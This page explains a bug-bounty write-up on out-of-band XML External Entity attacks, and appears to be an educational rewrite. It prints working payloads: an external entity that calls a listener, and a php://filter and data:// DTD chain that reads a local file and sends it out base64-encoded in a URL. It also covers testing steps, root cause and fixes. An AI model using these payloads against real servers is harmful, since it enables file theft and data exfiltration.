Exploiting Out Of Band XXE using internal network and php wrappers
Published on mahmoudsec.blogspot.com
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[sessionid]&key=xxe&val=test">
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
What the report shows
The write-up describes an out-of-band XML External Entity (XXE) attack against an XML endpoint that accepts a paramlimits document containing component elements. The payloads aim to make the server fetch a URL under the researcher's control, then use PHP stream wrappers to read a local file and exfiltrate its contents.

The first payload is a classic out-of-band XXE. The document type declaration defines an entity xxe whose SYSTEM identifier points at an attacker-controlled endpoint, and the entity is referenced inside the component element:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
If the parser resolves the entity, the server issues a request to the attacker's listener, carrying the session identifier in the query string.

The second stage attempts file disclosure. The researcher uses php://filter with a data:// resource to load a base64-encoded DTD, and inside that DTD a parameter entity reads a local file through the base64 filter:
php://filter//resource=data://text/plain;base64,[redacted]+
The decoded DTD defines two entities. data reads the target file and base64-encodes it, and param1 builds a second entity, exfil, whose URL embeds the value of data:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>
The final document references the remote DTD through the php://filter wrapper, expands both parameter entities, and then uses the resulting exfil entity inside the component element:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,[redacted]+"> %sp; %param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>

The report does not state the program, the bounty amount, a severity rating or a fix.
Root cause
The cause would be an XML parser configured with external entity resolution and DTD loading enabled, processing user-supplied XML. Because the parser accepts SYSTEM identifiers, it will fetch remote DTDs and local resources, and because PHP's stream wrappers are available to the parser, php://filter and data:// can be used to read files and to smuggle a DTD without hosting it externally.
Impact
Where the parser resolves entities, an attacker can make the server send requests to arbitrary hosts, which is useful for confirming the bug and for reaching internal services. The wrapper technique shown here is intended to read local files and exfiltrate them through the outbound request. The report demonstrates the mechanism rather than a specific data theft.
How this kind of bug works
XML allows a document to declare entities in its DTD. An external entity uses a SYSTEM identifier, a URI that the parser resolves when the entity is referenced. If the parser is configured to load external entities and external DTDs, it will perform that resolution, which means it can be made to issue HTTP requests or read local files. Parameter entities (%name;) are expanded inside the DTD itself, which is what allows a remote or smuggled DTD to define further entities that carry file contents into a URL. Out-of-band techniques are used when the response does not reflect the entity value: the data leaves through a request the attacker can observe. PHP stream wrappers extend the primitive: php://filter can transform a resource, and data:// can supply a DTD inline, avoiding the need for external hosting.
How to test for it
- Find endpoints that accept XML: SOAP services, SAML assertions, RSS or import features, file uploads parsed as XML, and any request with an XML content type.
- Send a document that declares an external entity pointing at a listener you control and reference it in a field the parser will expand.
- Watch the listener. A request arriving from the target's infrastructure is a positive result; note the source address and any query values.
- If the response does not reflect data, move to out-of-band exfiltration: define a parameter entity that reads a file through a filter, embed its value in a URL, and reference the resulting entity in the document.
- Test whether external DTDs are fetched, since that determines whether the wrapper technique is needed.
Common false positives are requests that come from your own browser or a proxy rather than the target, cached responses, and parsers that resolve internal entities but block external ones. Confirm with a unique value per attempt and check timing and source.
How it is fixed
The standard fix is to disable DTD processing and external entity resolution in the XML parser, or to use a parser configuration that does not support them. Where DTDs are required, restrict entity expansion and disallow external identifiers. Input validation and a strict schema help but are not a substitute for parser configuration. Network egress controls reduce the out-of-band channel but do not stop local file reads.
Hunting notes
XXE tends to hide in older SOAP and SAML integrations, document import and conversion features, and any endpoint where XML is accepted but rarely tested. Recon signals include XML content types, WSDL files, and parameters that accept structured documents. To show impact, demonstrate a request reaching your listener and, where possible, exfiltrate a harmless local file such as a known configuration path, keeping the proof minimal and avoiding sensitive data.
What happened, in plain words
This write-up shows a technique called out-of-band XXE. XXE stands for XML External Entity, and it is a way of abusing how some programs read XML documents. XML is a text format used to structure data, a bit like a very strict form with labelled fields. A web server that accepts XML from users has to read and understand it, and that reading step is where the problem lives.
XML lets a document declare shortcuts called entities. An entity is like a placeholder that gets replaced by something else when the document is read. A normal internal entity might stand for a repeated piece of text. An external entity is different: it tells the reader to go and fetch something from a location, given as a SYSTEM identifier, which is just a web address or file path. If the server's XML reader is configured to follow those instructions, it will happily make a request or open a file on the attacker's behalf.
The payloads are XML documents containing paramlimits and component elements. The first payload makes the server contact a web address the researcher controlled, which would prove the reader follows external entities. The second payload uses that same mechanism to read a file on the server and send its contents out.

The first payload is the confirmation step. It declares an entity called xxe that points at the researcher's own endpoint, then uses that entity inside the component element:
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=test">
]>
<paramlimits>
<component name="L1" min="2" max="100">&xxe;</component>
</paramlimits>
Line by line: <!DOCTYPE foo [...]> starts the document type declaration, the section where entities are defined. <!ELEMENT foo ANY> says the element foo may contain anything. <!ENTITY xxe SYSTEM "..."> defines the external entity and gives it a URL to fetch. The &xxe; inside component is the reference that triggers the fetch. If the server resolves it, the researcher's listener receives a request, and the query string carries the session identifier, which is the value a server uses to recognise a logged-in user.

The second stage reads a local file. The researcher uses a PHP feature called a stream wrapper. A wrapper is a prefix that changes how a resource is accessed, a bit like choosing whether to open a door with a key or a code. php://filter lets you transform data as it is read, and data:// lets you supply content inline instead of from a file. Here the wrapper loads a base64-encoded DTD, which is a document type definition, the file that holds entity declarations:
php://filter//resource=data://text/plain;base64,[redacted]+
Decoded, that DTD defines two entities. data reads the target file and base64-encodes it, and param1 builds a second entity, exfil, whose URL contains the value of data:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=file:///D:/path/index.php">
<!ENTITY % param1 '<!ENTITY exfil SYSTEM "http://target/endpoint.php?sid=[session_id]&key=xxe&val=%data;">'>
The % sign marks a parameter entity, which is expanded inside the DTD itself rather than in the document body. The & is an encoded ampersand, needed so the URL stays valid inside the entity definition.
The final document pulls in that DTD through the wrapper, expands both parameter entities, and then uses the resulting exfil entity inside component:
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "php://filter//resource=data://text/plain;base64,[redacted]+"> %sp; %param1;
]>
<paramlimits>
<component name="L1" min="2" max="100">&exfil;</component>
</paramlimits>

The report does not state the program, a bounty amount, a severity rating or a fix.
In general, how this kind of bug works
The cause would be an XML reader that is allowed to load external entities and external DTDs while processing input from users. Because it accepts SYSTEM identifiers, it will fetch remote documents and local resources. Because PHP's wrappers are available to it, php://filter and data:// can be used to read files and to deliver a DTD without hosting it anywhere.
The impact is twofold. The server can be made to send requests to arbitrary hosts, which confirms the bug and can reach internal services. And local files, such as application source and configuration, could be read and sent out through that request. The report demonstrates the mechanism rather than a specific theft of data.
To test for it:
- Find endpoints that accept XML: SOAP services, SAML assertions, RSS or import features, file uploads parsed as XML, and any request with an XML content type.
- Send a document that declares an external entity pointing at a listener you control, and reference it in a field the parser will expand.
- Watch the listener. A request arriving from the target's infrastructure is a positive result; note the source address and any query values.
- If the response does not reflect data, move to out-of-band exfiltration: define a parameter entity that reads a file through a filter, embed its value in a URL, and reference the resulting entity in the document.
- Test whether external DTDs are fetched, since that determines whether the wrapper technique is needed.
Common false positives are requests that come from your own browser or a proxy rather than the target, cached responses, and parsers that resolve internal entities but block external ones. Confirm with a unique value per attempt and check timing and source.
The standard fix is to disable DTD processing and external entity resolution in the XML parser, or to use a parser configuration that does not support them. Where DTDs are required, restrict entity expansion and disallow external identifiers. Input validation and a strict schema help but are not a substitute for parser configuration. Network egress controls reduce the out-of-band channel but do not stop local file reads.
XXE tends to hide in older SOAP and SAML integrations, document import and conversion features, and any endpoint where XML is accepted but rarely tested. Recon signals include XML content types, WSDL files, and parameters that accept structured documents. To show impact, demonstrate a request reaching your listener and, where possible, exfiltrate a harmless local file such as a known configuration path, keeping the proof minimal and avoiding sensitive data.
Glossary
- XML: a text format for structured data, using tags and nested elements.
- XXE: XML External Entity, a flaw where a parser follows entity instructions supplied by an attacker.
- Entity: a named placeholder in an XML document that is replaced by a value when read.
- External entity: an entity whose value is fetched from a URL or file path via a
SYSTEMidentifier. - Parameter entity: an entity expanded inside the DTD, written with a
%prefix. - DTD: document type definition, the part of an XML document that declares elements and entities.
- SYSTEM identifier: the URI given to an entity, telling the parser where to fetch it from.
- Out-of-band: a technique where data leaves through a separate channel, such as a request to an attacker's server, rather than in the response.
- Stream wrapper: a PHP prefix such as
php://ordata://that changes how a resource is read or written. - Base64: an encoding that turns binary data into plain text characters.
- Session identifier: a value a server uses to recognise a logged-in user.
- Listener: a server the researcher controls that records incoming requests.
- SOAP: a protocol for exchanging structured messages, usually over XML.
- SAML: an XML-based standard for exchanging authentication data between systems.
- WSDL: an XML file describing the operations of a SOAP service.
- Egress: outbound network traffic leaving a server or network.